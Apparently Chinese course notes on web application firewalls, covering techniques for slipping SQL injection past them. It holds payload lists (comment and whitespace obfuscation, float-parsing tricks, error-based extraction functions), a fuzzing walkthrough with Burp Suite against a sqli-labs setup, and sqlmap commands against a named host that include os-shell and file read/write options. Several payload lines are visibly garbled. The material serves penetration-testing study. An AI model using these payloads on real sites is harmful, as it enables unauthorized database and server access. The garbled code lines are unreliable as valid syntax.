WAF 是什么?全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。

安全是一个不断对抗的过程,有防护手段,就有相应的绕过手段。

渗透测试过程中,WAF 是必定会遇到的,如何绕过 WAF 就是一个问题。

WAF 绕过的手段千变万化,分为 3 类

  • 白盒绕过

  • 黑核绕过

  • Fuzz绕过

以下以 SQL 注入过程 绕 WAF 为例列举需要的知识点。

  • 熟练掌握 MySQL函数和语法使用方法

  • 深入了解中间件运行机制

  • 了解 WAF 防护原理及方法

做到这三点,即可做到随心所欲的绕过 WAF 的保护。

白盒绕过

WAF的介绍与WAF绕过原理_java

WAF的介绍与WAF绕过原理_java_02

blacklist 大概的意思是对 and  or进行过滤,且不论大小写,均替换为空.

如果绕过:

  • 大小写变形:Or,OR,oR

  • 等价替换:and → && ,or → ||

  • ……(例如 OorR)

白盒下的绕过主要针对源码进行审计,分析函数功能,构造特定的包进行绕过。

黑盒绕过

  • 架构层绕过 WAF

    • 寻找源站(针对云 WAF)

    • 利用同网段(绕过防护区域:例如WAF部署在同一网段的出口,使用网段的主机进行攻击,流量不经过WAF 。)

    • 理解边界漏洞(绕过防护区域:例如利用 SSRF 对其内部进行测试)

  • 资源限制角度绕过 WAF

    • POST大 BODY

  • 协议层面绕过 WAF 的检测

    • 请求方式变换:GET 变为 POST

    • Content-Type 变换:application/x-www-form-urlencoded;multipart/form-data;

    • 参数 污染(在服务器交互的过程中,Http 允许 get 或者post 多次传同一个参数值,造成覆盖,配合WAF 解析的先后规则有可能绕过 WAF 的防护)

    • 协议未覆盖绕过 WAF

  • 规则层面的绕过(主要的绕过方式,本课程的重点)

SQL注释符的绕过

1
2
3
4
union/**/select #Level-1
union/*aaaa%01bbs*/select #Level-2
union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3
/*!xxx*/ #内联注释

空白符绕过

1
2
3
4
%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/ #MySQL空白符
%09,%0A,%0B,%0D,%20 #正则的空白符
union%250Cselect #Example-1 (%25=% %0c=空白符)
union%25A0select #Example-2

函数分割符号

1
2
3
4
concat%2520()
concat/**/()
concat%250c()
concat%250()

浮点数词法解析

1
2
3
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0

利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略)

1
2
3
4
5
6
extractvalue(1, concat(0x5c,md5(3)))
updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select@@version)f)x)) polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygonO()

MySQL 特殊语法

1
MYSQL1nigth Oselect{x table_name}from{x information_schema.tables};

Fuzz绕过

上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破WAF的方式,就需要Fuzz的过程,Fuzz 在软件测试领域,一般指”模糊测试“。

你说了那么多,不就是瞎猫碰死耗子吗?

漏洞对我们来说是未知的,能绕过规则的语句也是未知的,人无法尝试所有的输入,盲目猜测是没有意义且低效。

简单的Fuzz看起来就像是枚举,更为复杂的Fuzz则生成了那些概率极低的偶然事件,而这,就是我们想要的答案。

下面搭建(phpStudy 2018 +某狗)sqli-labs环境进行测试(某狗的CC防护和IP黑名单功能关闭,只开启HTTP防护)。

正常的SQL注入测试流程发现加\'之后报错推测有SQL注入,进一步使用语句测试发现触发WAF,查看拦截日志也能查看到记录。

下面使用Burpsuite 的模块实现Fuzz。这里以在语句中注释符为例。

  • 最基本的:union/**/select

  • 测试引入中间特殊字符:union/*aaa%01bbx*/select

  • 测试注释长度:union/*aaaaaaaaaaaaaaa*/select

设置payload的过程如下,生成字典只用了几个字符。

本地机器线程无所畏惧,很快的结果就出来了。

看到不同长度的响应,有Fuzz出语句了吗?这样的语句不一定能用,如果绕过waf的规则语句无法正确执行,也是没用的。

很遗憾的是我这里最后得到的语句即使过狗也无法正确执行,不然我都就能演示如何过狗呢。我说说后续如何进行的,最后得到的Fuzz结果是一个固定的格式,后续SQL注入语句中将特征进行替换即可。后续可能还会出现一个问题,函数如何绕过,对函数进行变形或者利用中间件解析特性。

有前辈指出,这种Fuzz方式的本质都是对正则的逃逸,仔细想想,不无道理。

WAF是如何防护的?“ WAF基于对http请求的分析,识别恶意行为,执行相关的阻断、记录、放行等”。

WAF如何分析http请求?http是一种文本协议,一般现代WAF采用的是正则表达式做规则,“ 正则表达式的语法和文本协议的复杂逻辑允许替换等价的结构和使用不同的符号表示 , 在创建这些规则时会导致错误。“

而上述的绕过都是WAF的正则无法匹配,错误的进行的放行,导致绕过WAF的发生。

SQLmap的tamper

sqlmap相信不用我多介绍,只需要记得两个选项帮组你记忆。

1
2
sqlmap -h #帮助选项
sqlmap -hh #更为详细的帮组选项

常用的是以下语句

1
2
3
4
5
6
7
8
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-db
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-user
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  -D databasename -T table -C column
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --os-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --sql-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --file-read
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --file-write 本地文件 --file-dest 目标目录及文件

tamper脚本存放于sqlmap安装目录下,其主要的功能是对payload进行处理以应对不同情况,其中也包括绕过WAF。笔者写下此文时,内置了116个脚本,实际上tamper脚本是一段python脚本,任意打开一段脚本,可以看到对payload进行的处理过程,脚本的核心功能为tamper函数。

WAF的介绍与WAF绕过原理_java_03

使用sqlmap –list-tampers查看tamper的描述信息。

WAF的介绍与WAF绕过原理_java_04

下面以sqli-labs的Less-28关为例,直接对Less-28进行sqlmap会发现无法注入,打开Less-28的源码可以看到接受的参数ID在传入SQL语句之前,经过了blacklist的处理,而blacklist的功能为对一些符号替换为空,这些符号包括(/、*、–、#、space、union+空白符+select的组合)。

WAF的介绍与WAF绕过原理_java_05

打开一份tamper,复制一份,在原有的基础上进行修改,最终写出的tamper脚本如下,是不是有人黑人问号脸?

注意写出tamper的前提是已经构造出绕过,写出tamper只是将这个技巧工程化。

如何构造出绕过呢?这有回到课程一开始的话题,这里很简单,针对源码构造即可。

WAF的介绍与WAF绕过原理_java_06

tamper的功能为将“unino select ”替换为“union all select”,将空白符替换为”%0a”,用以规避blacklist对参数进行的处理。

再次测试,跟上tamper脚本名,很顺利的检测到注入点。

WAF的介绍与WAF绕过原理_java_07

总结

这是两节课程的笔记,这一章的绕WAF技巧都可以总结为对payload进行变形,如何变形才能成功的绕过才是关键的问题。

从防御者的角度来说,基于正则的WAF已经不足以防护,这是正则本身的缺陷,市面上已经宣称基于流量的机器学习、人工智能技术的下一代WAF出现,笔者没有工作在一线,未曾接触。

相信即使出现这样的产品,也没有绝对的安全,任何一个脆弱点带来的攻击面都会突破整个系统。